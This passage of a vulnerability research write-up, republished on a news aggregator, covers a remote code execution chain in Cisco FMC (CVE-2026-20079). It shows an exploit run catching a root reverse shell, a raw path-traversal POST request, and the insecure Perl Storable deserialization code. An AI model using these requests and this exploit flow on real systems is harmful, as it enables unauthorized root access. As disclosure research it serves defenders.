    function=SF::UI::DataObjectLibrary::upgradeReadinessCall&parameters=%5b%22%2fvar%2ftmp%2flicense.tmp%22%2c%5b%2242fb13fa-82e0-47a1-b147-3d64c8b9c708%22%5d%5d&get_all_errors=1&sf_action_id=f1f81c499eae90c14444e2a332e6b932&ss=
    

    poptart@grimm $ ./build/cve-2026-20079_linux-amd64 -lhost 10.0.1.10 -lport 1337 -rhost 10.0.0.226 -rport 443 -s -e 
    time=2026-03-19T19:00:38.699-06:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
    time=2026-03-19T19:00:38.778-06:00 level=STATUS msg="Starting TLS listener on 10.0.1.10:1337"
    time=2026-03-19T19:00:38.779-06:00 level=STATUS msg="Starting target" index=0 host=10.0.0.226 port=443 ssl=true "ssl auto"=false
    time=2026-03-19T19:00:38.779-06:00 level=STATUS msg="Sending initial request for session fixation using hardcoded report user credentials"
    time=2026-03-19T19:00:40.103-06:00 level=STATUS msg="CGISESSID csm_processes Session ID exists, continuing redirect"
    time=2026-03-19T19:00:40.553-06:00 level=STATUS msg="Session successfully redirected, continuing redirect logic to get action token"
    time=2026-03-19T19:00:40.702-06:00 level=SUCCESS msg="Authentication successful, extracted sf_action_id: 0d3973edb30b9061fc55a0187985949d"
    time=2026-03-19T19:00:40.702-06:00 level=STATUS msg="Writing payload to disk via license validation on sajaxintf.cgi"
    time=2026-03-19T19:00:40.730-06:00 level=STATUS msg="Triggering payload on pjb.cgi via license file and upgradeReadinessCall"
    time=2026-03-19T19:00:40.973-06:00 level=SUCCESS msg="Caught new shell from 10.0.0.226:44208"
    time=2026-03-19T19:00:40.973-06:00 level=STATUS msg="Active shell from 10.0.0.226:44208"
    sh: cannot set terminal process group (14096): Inappropriate ioctl for device
    sh: no job control in this shell
    sh-5.1# id
    id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),91(certs)
    sh-5.1# exit
    time=2026-03-19T19:00:43.064-06:00 level=STATUS msg="C2 received shutdown, killing server and client sockets for SSL shell server"
    time=2026-03-19T19:00:43.064-06:00 level=STATUS msg="Connection closed: 10.0.0.226:44208"
    time=2026-03-19T19:00:43.064-06:00 level=STATUS msg="C2 server exited"
    

    The FMC system utilizes the Perl Storable module all over the place and even does C foreign-function calls to load Perl objects in multiple places. During our testing, we identified that the sajaxint.cgi endpoint allowed a batchResults call that end up trickling into the following suspicious few lines in sf/lib/perl/5.34.1/SF/Util.pm:

    sub DeSerialize
    {
        my $options = shift();
    
        if (!defined($options->{data}) && !defined($options->{filename}) && !defined($options->{fd}))
        {
            return undef;
        }
    
        my $deserialized_data;
    try
    {
        local $Storable::Eval = $Storable::Eval = 1;
    
        if (defined($options->{fd}))
        {
            $deserialized_data = Storable::fd_retrieve($options->{fd});
        }
        elsif (defined($options->{filename}))
        {
            my $fn = SF::Reloc::RelocateFilename($options->{filename});
    
            if(-e $fn)
            {
                if ($options->{lock})
                {
                    $deserialized_data = Storable::lock_retrieve($fn);
                }
                else
                {
                    $deserialized_data = Storable::retrieve($fn);
                }
            }
            else
            {
                warn "Unable to locate file for retrieval: $options->{filename}";
                return undef;
            }
        }
        elsif ($options->{data})
        {
            $deserialized_data = Storable::thaw($options->{data});
        }
    }
    

    By combining the licenseValidate call with the batchResults call, we can write arbitrary binary data to /var/tmp/license.tmp, including Storable serialized Perl. Additionally, the license validation logic appears more than happy to accept arbitrary path traversals:

    POST /sajaxintf.cgi?rs=callServerFunc&rstime=1772810888984 HTTP/1.1
    Host: 10.0.0.226
    Cookie: CGISESSID=csm_processes
    Content-Length: 65
    Accept-Language: en-US,en;q=0.9
    Content-Type: application/json
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
    Referer: https://10.0.0.226/rna_policy/rna_policy_creation.cgi
    Connection: keep-alive
    
    ["d8bcba74049486588e0e2f11dacfee4f",
    "batchResults",
    "../license.tmp",
    "1"]
    

    Without valid Storable data, the application will respond as follows indicating that the sink above has been reached:

    HTTP/1.1 404 Not Found
    Date: Fri, 06 Mar 2026 15:35:42 GMT
    Server: Mojolicious (Perl)
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    Content-Type: application/json
    Content-Length: 192
    Cache-Control: no-store
    X-Frame-Options: SAMEORIGIN
    X-UA-Compatible: IE=edge
    X-Permitted-Cross-Domain-Policies: none
    X-XSS-Protection: 1; mode=block
    Referrer-Policy: same-origin
    Content-Security-Policy: base-uri 'self'; frame-ancestors 'self'
    X-Content-Type-Options: nosniff
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    
    {"error":{"text":"Error: Magic number checking on storable file failed at /usr/lib64/perl5/5.34.1/x86_64-linux/Storable.pm line 421, at /usr/local/sf/lib/perl/5.34.1/SF/Util.pm line 2069.\n"}}
    

    Since the Storable module directly enables the $Storable::Eval setting, there is a high likelihood that the module may be useful for attackers. The Storable module even calls this pattern out directly as potentially vulnerable:

    Storable serialization warning.

    After examining Storable test cases and generating Storable data that was written via the license path, the team was eventually able to generate CODE Perl-serialized data and interact with the STORABLE_thaw logic. We were unable to find a sink or gadget that was a candidate for bootstrapping to code execution, however, before we found the installer path to RCE. It’s likely that some Perl wizard out there will be able to find an additional path to execution using this logic.

    An exploit, PCAPs, a YARA rule, and network signatures for five different variants are available to VulnCheck Initial Access Intelligence customers for CVE-2026-20079.

    VulnCheck’s Initial Access Intelligence team is always on the hunt for new exploits and fresh shells. By delivering machine-consumable, evidence-driven intelligence on new vulnerabilities and how real attackers can use them in the wild, VulnCheck helps organizations prepare earlier, respond decisively, and verify exploitation without relying on inaccurate scores or delayed consensus. For more research like this, see Herding Cats: Recent Cisco SD-WAN Manager Vulnerabilities, Tales from the Exploit Mines: Gladinet Triofox CVE-2025-12480 RCE, and Street Smarts: SmarterMail ConnectToHub Unauthenticated RCE (CVE-2026-24423).

    Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, and Exploit & Vulnerability Intelligence products.



    Source link

    Share. Facebook Twitter Pinterest LinkedIn Tumblr Email
    Previous ArticleA Vulnerability in WatchGuard Fireware OS Could Allow for Arbitrary Code Execution.
    Next Article A Vulnerability in Cisco AsyncOS Could Allow for Remote Code Execution
    admin
    • Website

    Related Posts

    News

    Accelerating Our Footprint and Innovation: Why VulnCheck Posted a Record-Setting Q3 | Blog

    April 8, 2026
    News

    Is a $30,000 GPU Good at Password Cracking?

    April 8, 2026
    News

    InfoSec News Nuggets 04/08/2026

    April 8, 2026
    Add A Comment

    Comments are closed.

    Demo
    Top Posts

    Global Takedown of Massive IoT Botnets Halts Record-Breaking Cyberattacks

    March 20, 202619 Views

    Catchy & Intriguing

    March 17, 202619 Views

    The Grandparent Scam: How AI Voice Technology Makes This Old Con Deadlier Than Ever

    March 18, 202617 Views
    Stay In Touch
    • Facebook
    • YouTube
    • TikTok
    • WhatsApp
    • Twitter
    • Instagram
    Latest Reviews
    85
    Featured

    Pico 4 Review: Should You Actually Buy One Instead Of Quest 2?

    January 15, 2021 Featured
    8.1
    Uncategorized

    A Review of the Venus Optics Argus 18mm f/0.95 MFT APO Lens

    January 15, 2021 Uncategorized
    8.9
    Editor's Picks

    DJI Avata Review: Immersive FPV Flying For Drone Enthusiasts

    January 15, 2021 Editor's Picks

    Subscribe to Updates

    Get the latest tech news from FooBar about tech, design and biz.

    Demo
    Most Popular

    Global Takedown of Massive IoT Botnets Halts Record-Breaking Cyberattacks

    March 20, 202619 Views

    Catchy & Intriguing

    March 17, 202619 Views

    The Grandparent Scam: How AI Voice Technology Makes This Old Con Deadlier Than Ever

    March 18, 202617 Views
    Our Picks

    SSA-734261 V1.0: Authentication Bypass Vulnerability in Energy Services Using Elspec G5DFR

    April 8, 2026

    Incident: Eagers Automotive says IT outage stems from cyber incident | iTnews

    April 8, 2026

    Accelerating Our Footprint and Innovation: Why VulnCheck Posted a Record-Setting Q3 | Blog

    April 8, 2026

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    Facebook X (Twitter) Instagram Pinterest
    • Home
    • Technology
    • Gaming
    • Phones
    • Buy Now
    © 2026 ThemeSphere. Designed by ThemeSphere.

    Type above and press Enter to search. Press Esc to cancel.